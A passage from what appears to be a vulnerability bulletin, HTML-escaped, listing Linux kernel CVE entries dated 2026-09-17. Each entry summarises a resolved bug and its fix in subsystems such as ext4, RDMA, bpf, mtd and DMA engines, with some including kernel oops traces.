--rw=randwrite --bs=4k --runtime=6 --ioengine=libaio --iodepth=256 --numjobs=8 --filename=fiotest --filesize=30G --group_reporting Reboot the VM, and check the console output from: virsh console testvm But there is no dirty inode, folio_clear_dirty_for_io clears PG_dirty but leaves tags PAGECACHE_TAG_DIRTY and PAGECACHE_TAG_TOWRITE set which are only cleared by __folio_start_writeback. In data=journal mode, jbd2 checkpoints the journalled data to its final location and clears its own dirty flag without touching folio PG_dirty or xarray dirty flags. The commit f4a2b42e7891 (&quot;ext4: fix stale xarray tags after writeback&quot;) fixes when PG_dirty is still set but there is no dirty page. Another case is PG_dirty is cleared, but PAGECACHE_TAG_DIRTY and PAGECACHE_TAG_TOWRITE is still set. In this case, writeback thread checks clean folio and skips it in mpage_prepare_extent_to_map: if (!folio_test_dirty(folio) || ... folio_unlcok(folio); continue And never reaches ext4_bio_write_folio where the commit f4a2b42e7891 clears the stale xarray tags. Print debug logs after the filesystem is remounted read-only: writepages RDONLY nrpages=2048 dirtytag=1 wbtag=0 towrite=1 sync=0 And all folios are actually clean: folio idx=3 dirty=0 wb=0 checked=0 dirtybuf=0 jbddirty=0 mapped=1 ... We need to clear the xarray stale tags for such clean folios by cycling them through writeback in the skip path, the same way f4a2b42e7891 does in ext4_bio_write_folio.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92502&quot; target=&quot;_blank&quot;&gt;CVE-2026-92502&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ext4: fix ABBA deadlock in ext4_xattr_inode_cache_find() Syzbot/stress-ng reported an ABBA deadlock in ext4 when exercising concurrent xattr workloads (using the ea_inode mount/format option). The deadlock occurs between the running transaction and the eviction thread: - Task 1 (stress-ng): Holds a reference to a shared mbcache_entry (ce) and calls ext4_xattr_inode_cache_find() -&amp;gt; ext4_iget() to retrieve the corresponding EA inode. Since the EA inode is currently being evicted, ext4_iget() blocks in __wait_on_freeing_inode() waiting for eviction to complete. - Task 2 (eviction thread): Currently evicting the same EA inode in ext4_evict_ea_inode(). It calls mb_cache_entry_wait_unused(oe) which blocks waiting for Task 1 to release the reference to the mbcache_entry. To break this deadlock, implement a new ext4_iget() configuration flag named EXT4_IGET_NOWAIT. When set, perform a non-blocking lookup of the inode via VFS&#039;s find_inode_nowait() API. If the inode is currently being evicted (marked with I_FREEING or I_WILL_FREE) or created (I_CREATING), or if it is not present in the VFS inode cache (cache miss), simply skip it (returning -ENOENT) rather than waiting for eviction/creation to complete, breaking the ABBA cycle. Since we return -ENOENT immediately on a cache miss, we never attempt to allocate a new inode or call iget_locked(), completely eliminating any TOCTOU race window. If the returned inode is I_NEW, wait for its initialization to clear via wait_on_new_inode(). If initialization fails and the inode is unhashed during wait_on_new_inode() waking up (e.g., due to an I/O read error in another thread), safely drop the reference and return -ENOENT. This unhashed check is executed unconditionally on all cache-hit pathways to properly handle concurrent initialization failures. Finally, standard validation checks (including is_bad_inode, EXT4_EA_INODE_FL, file_acl, and xattr flags) are executed as normal inside check_igot_inode() to fully guarantee VFS-layer safety. In ext4_xattr_inode_cache_find(), invoke ext4_iget() with the new EXT4_IGET_NOWAIT flag to perform the non-blocking cache search.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92503&quot; target=&quot;_blank&quot;&gt;CVE-2026-92503&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: iommu/amd: Fix undefined behavior in devid_write debugfs function When for_each_pci_segment() loop completes without finding a matching segment, the pci_seg pointer is not NULL but points to an invalid memory location (the list head). Accessing pci_seg-&amp;gt;id after the loop causes undefined behavior. Fix this by handling the successful case inside the loop and returning -EINVAL after the loop if no matching segment is found.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92505&quot; target=&quot;_blank&quot;&gt;CVE-2026-92505&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: firmware: arm_scmi: Fix requested device removal race scmi_protocol_device_unrequest() drops scmi_requested_devices_mtx while notifying listeners but continues to retain the per-protocol list head. When two SCMI drivers for the same protocol unregister concurrently, one thread can remove the final request and free the list head while the other is running its notifier. The latter then dereferences the freed list head after reacquiring the mutex and can free it a second time. Complete the list and IDR updates, including freeing an empty list head, before dropping the mutex. Keep the blocking notifier outside the critical section and retain only the detached request across the callback.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92506&quot; target=&quot;_blank&quot;&gt;CVE-2026-92506&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RDMA/core: Fix potential use after free in counter_release() When accessing a counter via the netlink path the only synchronization mechanism for the said counter is rdma_restrack_get(). Currently, rdma_restrack_del() is invoked at the end of counter_release(), which is too late, since by that point vendor-specific resources associated with the counter might already be freed. This can leave a short window where the counter remains accessible through restrack, leading to a potential use-after-free. Fix this by moving the rdma_restrack_del() call to be before the freeing of the vendor-specific resources, ensuring that the counter is removed from restrack before its internal resources are released. This guarantees that no new users hold references to a counter that is in the process of destruction.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92509&quot; target=&quot;_blank&quot;&gt;CVE-2026-92509&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RDMA/core: Fix use after free in ib_query_qp() When querying a QP via the netlink flow the only synchronization mechanism for the said QP is rdma_restrack_get(), meanwhile during the QP destroy path rdma_restrack_del() is called at the end of the ib_destroy_qp_user() function which is too late, since by then the vendor specific resources for said QP would already be destroyed, and till the rdma_restrack_del() is called this QP can still be accessed, which could cause the use after free below. Fix this by moving the rdma_restrack_begin_del() to the start of the ib_destroy_qp_user(), which in turn waits for all usages of the QP to be done then removes it from the database to prevent access to it while it is being destroyed. RIP: 0010:ib_query_qp+0x15/0x50 [ib_core] Code: 48 83 05 5d 8e b9 ff 01 eb b5 66 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 c7 46 40 00 00 00 00 48 c7 46 78 00 00 00 00 &amp;lt;48&amp;gt; 8b 07 48 8b 80 88 01 00 00 48 85 c0 74 1a 48 83 05 54 91 b9 ff RSP: 0018:ff11000108a8f2f0 EFLAGS: 00010202 RAX: 0000000000000000 RBX: ff11000108a8f370 RCX: ff11000108a8f370 RDX: 0000000000000000 RSI: ff11000108a8f3d8 RDI: 0000000000000000 RBP: ff1100010de5a000 R08: 0000000000000e80 R09: 0000000000000004 R10: ff110001057a604c R11: 0000000000000000 R12: ff11000108a8f370 R13: ff110001090e8000 R14: 0000000000000000 R15: ff110001057a602c FS: 00007f2ffd8db6c0(0000) GS:ff110008dc90b000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000000000000000 CR3: 000000010b9a7004 CR4: 0000000000373eb0 Call Trace: &amp;lt;TASK&amp;gt; mlx5_ib_gsi_query_qp+0x21/0x50 [mlx5_ib] mlx5_ib_query_qp+0x689/0x9d0 [mlx5_ib] ib_query_qp+0x35/0x50 [ib_core] fill_res_qp_entry_query.isra.0+0x47/0x280 [ib_core] ? __wake_up+0x40/0x50 ? netlink_broadcast_filtered+0x15a/0x550 ? kobject_uevent_env+0x562/0x710 ? ep_poll_callback+0x242/0x270 ? __nla_put+0xc/0x20 ? nla_put+0x28/0x40 ? nla_put_string+0x2e/0x40 [ib_core] fill_res_qp_entry+0x138/0x190 [ib_core] res_get_common_dumpit+0x4a5/0x800 [ib_core] ? fill_res_qp_entry_query.isra.0+0x280/0x280 [ib_core] nldev_res_get_qp_dumpit+0x1e/0x30 [ib_core] netlink_dump+0x16f/0x450 __netlink_dump_start+0x1ce/0x2e0 rdma_nl_rcv_msg+0x1d3/0x330 [ib_core] ? nldev_res_get_qp_raw_dumpit+0x30/0x30 [ib_core] rdma_nl_rcv_skb.constprop.0.isra.0+0x108/0x180 [ib_core] rdma_nl_rcv+0x12/0x20 [ib_core] netlink_unicast+0x255/0x380 ? __alloc_skb+0xfa/0x1e0 netlink_sendmsg+0x1f3/0x420 __sock_sendmsg+0x38/0x60 ____sys_sendmsg+0x1e8/0x230 ? copy_msghdr_from_user+0xea/0x170 ___sys_sendmsg+0x7c/0xb0 ? __futex_wait+0x95/0xf0 ? __futex_wake_mark+0x40/0x40 ? futex_wait+0x67/0x100 ? futex_wake+0xac/0x1b0 __sys_sendmsg+0x5f/0xb0 do_syscall_64+0x55/0xb90 entry_SYSCALL_64_after_hwframe+0x4b/0x53&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92512&quot; target=&quot;_blank&quot;&gt;CVE-2026-92512&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RDMA/mana_ib: drain QP references after partial table insertion mana_table_store_ud_qp() publishes a QP at its send-queue id before inserting the receive-queue id, dropping the XArray lock between the two xa_insert_irq() calls. A concurrent completion handler can look up the QP and take a transient reference. When the second insertion fails, the rollback erased only the send-queue entry and returned, leaving both the initial table reference and the transient reference outstanding while RDMA core frees the QP, causing a use-after-free. Drain the reference as normal destruction does: drop the initial reference and wait for qp-&amp;gt;free, releasing the QP only after every concurrent lookup returns its reference.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92513&quot; target=&quot;_blank&quot;&gt;CVE-2026-92513&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RDMA/erdma: Fix CEQ tasklet use-after-free on removal Each CEQ interrupt handler only schedules eqc-&amp;gt;tasklet. The tasklet calls erdma_ceq_completion_handler(), which reads the DMA-coherent EQ ring through get_next_valid_eqe() and updates eq-&amp;gt;dbrec through notify_eq(). erdma_ceqs_uninit() frees each CEQ IRQ and then destroys its EQ. free_irq() prevents another hard IRQ and waits for an in-flight handler, but it does not drain a tasklet that the handler already scheduled. The tasklet can therefore access eq-&amp;gt;qbuf or eq-&amp;gt;dbrec after erdma_eq_destroy() frees them. Clearing ceq_cb-&amp;gt;ready does not synchronize with a tasklet that already passed the check at the start of erdma_ceq_completion_handler(). Kill the tasklet after free_irq(), when no handler can schedule it again, and before erdma_ceq_uninit_one() releases the EQ buffers.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92514&quot; target=&quot;_blank&quot;&gt;CVE-2026-92514&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Preserve unique-field state across nested structs btf_find_struct_field() initializes a fresh seen mask for every recursive descent. Unique special fields in different levels of the same aggregate therefore do not see one another. The duplicate fields can reach btf_parse_fields(), where they trigger an invariant WARN_ON_ONCE(). A crafted user BTF can consequently trigger the warning before map creation checks capabilities. Initialize the seen mask once in btf_find_field() and pass the same pointer through struct, datasec, and nested-struct walks. This gives the entire field traversal one shared uniqueness state.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92515&quot; target=&quot;_blank&quot;&gt;CVE-2026-92515&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Fix offset warn check for bpf_res_spin_lock Sashiko pointed out correctly that the case statement for BPF_RES_SPIN_LOCK incorrectly checks offset for BPF_SPIN_LOCK. Fix it by checking res_spin_lock_off instead.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92516&quot; target=&quot;_blank&quot;&gt;CVE-2026-92516&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf, riscv: Fix extable handling for arena load_acquire emit_atomic_ld_st() returns 1 to have build_body() skip the zext after a sub-word load_acquire. The caller does &quot;ret = ret ?: add_exception_handler(...)&quot;, which skips add_exception_handler() on any non-zero ret, so the extable entry is missing and a faulting PROBE_ATOMIC load_acquire oopses. REG_DONT_CLEAR_MARKER leaves rd stale on fault, and the verifier still thinks the load overwrote it, so a program can leak it through a map. Check ret &amp;gt;= 0 before calling add_exception_handler(), and pass rd for LOAD_ACQ so the fault zeroes rd like a PROBE_MEM load. Return ret unchanged for the zext skip.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92517&quot; target=&quot;_blank&quot;&gt;CVE-2026-92517&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: riscv, bpf: Fix memory leak in bpf_jit_free When bpf_int_jit_compile() is called for subprograms, it returns early during the first pass (!prog-&amp;gt;is_func || extra_pass is false), keeping ctx-&amp;gt;offset alive for the subsequent extra pass. If JIT compilation fails for a later subprogram, the BPF core aborts and calls bpf_jit_free() to clean up the first subprogram. However, bpf_jit_free() fails to free jit_data-&amp;gt;ctx.offset, which causes a memory leak of the JIT context offsets array. Fix this by adding the missing kfree(jit_data-&amp;gt;ctx.offset) in bpf_jit_free().&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92519&quot; target=&quot;_blank&quot;&gt;CVE-2026-92519&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Zero queue and stack outputs on lock failure Queue and stack pop/peek helpers accept an uninitialized output buffer because the verifier expects the helper to initialize it. The empty-map error path clears the buffer, but a failed lock acquisition returns -EBUSY without writing it. Clear the output before returning -EBUSY so BPF programs cannot observe uninitialized stack contents after a failed helper call.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92520&quot; target=&quot;_blank&quot;&gt;CVE-2026-92520&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ACPI: PCI: Clear driver_data on all paths that free the acpi_pci_root acpi_pci_root_add() assigns the freshly allocated root to device-&amp;gt;driver_data before dmar_device_add() and pci_acpi_scan_root(). Both failure paths reach the end: label where root is kfree()&#039;d, but only the pci_acpi_scan_root() path clears driver_data first. When dmar_device_add() fails during a hot-add, root is freed while device-&amp;gt;driver_data still points at it. The ACPI core does not clear driver_data on attach failure, so a later acpi_pci_find_root() call may dereference this dangling pointer. acpi_pci_root_remove() has the same problem: it frees root without clearing device-&amp;gt;driver_data, leaving a dangling pointer behind after the root bridge is removed. Move the NULL assignment to the shared end: label so every error path in acpi_pci_root_add() clears driver_data before freeing root, and clear it in acpi_pci_root_remove() as well, so the object is never left reachable through driver_data after being freed.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92521&quot; target=&quot;_blank&quot;&gt;CVE-2026-92521&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RDMA/nldev: validate dynamic counter attribute length RDMA_NLDEV_ATTR_STAT_HWCOUNTERS is a nested attribute whose children are consumed directly with nla_get_u32(). The top-level policy validates only the container, so it does not establish the fixed shape of each child. Require every child payload to be exactly one u32 before reading it.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92523&quot; target=&quot;_blank&quot;&gt;CVE-2026-92523&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: irqchip/gic-v3-its: Prevent leak in its_vpe_irq_domain_alloc() When its_irq_gic_domain_alloc() fails, the following its_vpe_irq_domain_free() fails to invoke its_vep_teardown() for the corresponding interrupt, which leaks the resource. Invoke its_vpe_teardown() in the error handling path to avoid the leak. [ tglx: Massaged change log ]&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92524&quot; target=&quot;_blank&quot;&gt;CVE-2026-92524&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: iio: dac: ad5686: missing NULL check on match data Verify that chip_info pointer is not NULL. If a user binds the driver using driver_override via sysfs with a device name not present in the id_table or of_match_table, match data will be NULL.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93038&quot; target=&quot;_blank&quot;&gt;CVE-2026-93038&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: dmaengine: dw-edma: Serialize channel state checks pause() and resume() read and update channel state without holding vc.lock, while the interrupt handlers update the same state under it. Take the same lock around those state checks so that request, status, and configured stay consistent. For example, pause() can observe EDMA_ST_BUSY right before the interrupt handler completes the final descriptor and moves the channel to EDMA_ST_IDLE, and then record EDMA_REQ_PAUSE on an already idle channel. No further interrupt will acknowledge the request, and since issue_pending() requires EDMA_REQ_NONE, the channel is wedged for good: terminate_all() leaves the stale request behind, so even reconfiguring the channel does not recover it. issue_pending() already runs under vc.lock, but it tests configured before taking it. Move that test under the lock as well, so configured, request, and status are evaluated as one channel-state snapshot.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93040&quot; target=&quot;_blank&quot;&gt;CVE-2026-93040&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: dmaengine: dw-edma: Serialize abort state updates dw_edma_abort_interrupt() drops vc.lock before changing request and status. issue_pending() can acquire the lock in that small window, observe the old busy state, and skip starting queued descriptors. Then the abort handler overwrites the channel status as idle, leaving the new descriptors stranded for good. Keep descriptor completion and the state transition in the same critical section.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93041&quot; target=&quot;_blank&quot;&gt;CVE-2026-93041&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Disallow interpreter fallback for gotox insn The interpreter does not recognize the BPF_JMP|BPF_JA|BPF_X insn, which is used for insn_array map. Thereafter, it would hit the BUG_ON() in ___bpf_prog_run() at run time. [ 2.563726] BPF interpreter: unknown opcode 0d (imm: 0x0) [ 2.564557] ------------[ cut here ]------------ [ 2.565206] kernel BUG at kernel/bpf/core.c:2349! [ 2.565882] Oops: invalid opcode: 0000 [#1] SMP PTI Set jit_required as true when insn_array map is used in the prog in order to disallow interpreter fallback for gotox insn in core.c::__bpf_prog_select_runtime().&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93043&quot; target=&quot;_blank&quot;&gt;CVE-2026-93043&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Disallow interpreter fallback for arena-related insns Since the interpreter does not support the arena-related insns, interpreter fallback should not be allowed for these insns in core.c::__bpf_prog_select_runtime(). Currently, when the interpreter executes the arena ST/LDX/STX insns, it would hit the BUG_ON() in ___bpf_prog_run() at run time. [ 2.579196] BPF interpreter: unknown opcode a2 (imm: 0x0) [ 2.579998] ------------[ cut here ]------------ [ 2.580652] kernel BUG at kernel/bpf/core.c:2349! [ 2.581314] Oops: invalid opcode: 0000 [#1] SMP PTI Set jit_required as true when arena map is used in the prog to disallow interpreter fallback for arena-related insns.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93044&quot; target=&quot;_blank&quot;&gt;CVE-2026-93044&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/v3d: Associate BOs with every job that accesses them A submission can expand into a chain of jobs (e.g. bin + render + cache clean). Implicit synchronization in v3d_submit_lock_reservations() is gated on each job&#039;s bo[], but the BO list was only ever attached to the last job of the chain. When that last job is a trailing CACHE_CLEAN job, the job that actually consumes the BOs (that is, a RENDER or CSD job) was left with bo_count == 0 and picked up no implicit dependencies. It could therefore be dispatched to the hardware and read a BO while another context was still writing it, leading to data corruption. Attach the BOs to the job that consumes them, so (1) it acquires the correct implicit dependencies during reservation locking and (2) they are kept mapped until the end of the submission. Give it references to all consuming job&#039;s BOs through v3d_job_reference_bos() instead of looking the handles up a second time; that avoids a redundant lookup and guarantees both jobs reference the exact same objects. As the CACHE_CLEAN job now carries a BO array as well, add a per-job `has_implicit_dep` flag so that only the consuming jobs take implicit dependencies. The CACHE_CLEAN job (a global flush) and the BIN job (binning waiting on another context is not a realistic scenario) are excluded.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93047&quot; target=&quot;_blank&quot;&gt;CVE-2026-93047&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: mtd: part: reject MTDPART_OFS_RETAIN in mtd_add_partition() mtd_add_partition() does not reject the special offset value MTDPART_OFS_RETAIN (-3), which leads to a WARN_ON in add_mtd_device() when called through the BLKPG ioctl on NAND devices. The RETAIN value depends on cur_offset being the end of the previous partition, but in the dynamic partition path cur_offset equals the offset argument itself, causing undefined behavior. Commit 5daa7b21496a (&quot;mtd: prepare partition add and del functions for ioctl requests&quot;) introduced mtd_add_partition() and correctly rejected MTDPART_OFS_APPEND (-1) and MTDPART_OFS_NXTBLK (-2), since those special offsets rely on cur_offset tracking the previous partition&#039;s end. However, commit 1a31368bf92e (&quot;mtd: add a flags for partitions which should just leave smth. after them&quot;) later added MTDPART_OFS_RETAIN (-3) for the static partition table path without updating mtd_add_partition() to also reject this value. With offset=-3 passed via BLKPG, the RETAIN size calculation in allocate_partition() underflows (parent_size - 0xFFFFFFFFFFFFFFFD = parent_size + 3). If the underflow result does not appear to leave enough space, allocate_partition() jumps to out_register via goto, skipping erasesize initialization. This results in erasesize=0, which triggers: WARN_ON((!mtd-&amp;gt;erasesize || !master-&amp;gt;_erase) &amp;amp;&amp;amp; !(mtd-&amp;gt;flags &amp;amp; MTD_NO_ERASE)) in add_mtd_device(). If the underflow result appears to leave enough space, a bogus partition size is calculated, but the &quot;out of reach&quot; sanity check catches the invalid offset and creates a disabled empty partition (offset=0, size=0) instead of returning an error. Fix this by adding MTDPART_OFS_RETAIN to the rejection list in mtd_add_partition(), consistent with the existing handling of APPEND and NXTBLK.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93048&quot; target=&quot;_blank&quot;&gt;CVE-2026-93048&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: mtd: mtdswap: Avoid freeing registered blktrans device twice In mtdswap_add_mtd(), debugfs setup failure after successful blktrans registration can free mbd_dev twice. add_mtd_blktrans_dev() initializes the blktrans device reference and publishes the disk. Once that succeeds, del_mtd_blktrans_dev() tears the disk down and drops the blktrans reference; when that reference reaches zero, blktrans_dev_release() frees the mtd_blktrans_dev. The debugfs failure path called del_mtd_blktrans_dev(mbd_dev), then fell through the common cleanup label and called kfree(mbd_dev) again. Clear the local pointer after deregistration so the common cleanup can still release the mtdswap state without freeing the blktrans object twice. This issue was found by a static analysis checker and confirmed by manual source review.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93049&quot; target=&quot;_blank&quot;&gt;CVE-2026-93049&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
